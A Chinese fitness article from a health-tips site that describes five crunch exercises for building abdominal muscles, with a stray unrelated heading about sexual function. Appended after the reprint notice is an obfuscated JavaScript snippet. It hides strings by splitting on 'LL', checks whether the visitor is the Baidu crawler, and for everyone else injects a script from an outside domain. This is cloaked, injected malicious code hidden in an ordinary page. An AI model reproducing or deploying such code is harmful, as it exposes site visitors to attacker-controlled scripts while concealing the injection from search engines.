當前位置:首頁 > 健康 > 運動健身 > 正文

怎么鍛煉肌肉和腹肌呢

2017-04-15 08:56:14  來源:360常識網(wǎng)   熱度:
導語:女性鍛煉身體多是為了減肥,而男性鍛煉身體則是為了身體更健,體格則會更好,可是怎么鍛煉肌肉和腹肌呢?這個問題是很多男性都想知道的,有

女性鍛煉身體多是為了減肥,而男性鍛煉身體則是為了身體更健,體格則會更好,可是怎么鍛煉肌肉和腹肌呢?這個問題是很多男性都想知道的,有些男性為了練成肌肉或是腹肌每天都會向健身房跑,還會堅持很長時間的鍛煉,只要堅持下去就可以見到效果的。下面為大家講解鍛煉肌肉和腹肌的好方法。

一、健身球卷腹

平躺在健身球上,雙腳平放地上,雙手放在頭側(cè),手臂打開。下頦向胸前微收,呼氣,收縮腹肌抬起上身約45度,保持2秒鐘,然后慢慢回到開始姿勢。為了保持平衡,兩腳可以多分開些。如果增加難度,可以將雙腳并起來做。

二、傳統(tǒng)卷腹

仰臥在地板上,下背部緊貼地面。雙手放在頭側(cè),手臂打開。雙腿平放在地上并屈膝。下頦向胸前微收,收縮腹肌,呼氣抬起上身,下背部不能離地,保持2秒鐘,然后慢慢回到開始姿勢。

練腹肌對性功能的好處

三、反向卷腹

仰臥在地板上,下背部緊貼地面,雙手放在身軀兩側(cè),雙腿抬起與上身呈90度,雙腿交叉,膝關(guān)節(jié)微屈。收緊腹部肌肉,然后呼氣略微抬起臀部,下背部略微離地,保持2秒鐘,然后慢慢回到開始姿勢。

四、舉腿卷腹

仰臥在地板上,下背部緊貼地面。雙手放在頭側(cè),手臂打開。雙腿抬起與上身呈90度,雙腿交叉,膝關(guān)節(jié)微屈。呼氣,收縮腹肌,抬起上身,下背部不能離地,保持2秒鐘,然后慢慢回到開始姿勢。要注意保持下頦向胸前微收。

五、空中登車

仰臥在地板上,下背部緊貼地面。雙手放在頭側(cè),手臂打開。將腿抬起,緩慢進行登自行車的動作。呼氣,抬起上體,用右肘關(guān)節(jié)觸碰左膝,保持姿勢2秒鐘,然后還原。再用左肘關(guān)節(jié)觸碰右膝,同樣保持2秒鐘,然后慢慢回到開始姿勢。

怎么鍛煉肌肉和腹肌呢?能鍛煉成肌肉和腹肌的方法是很多的,患者除了選擇好的鍛煉方式外,還要講究鍛煉的時間,患者自己的心態(tài)非常重要,患者要清楚鍛煉的技巧、鍛煉的各種方式,鍛煉的過程中要保護好身體部位,防止鍛煉過度身體無法承受,而鍛煉時還要重視飲食的調(diào)節(jié),能幫助身體增強營養(yǎng)。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}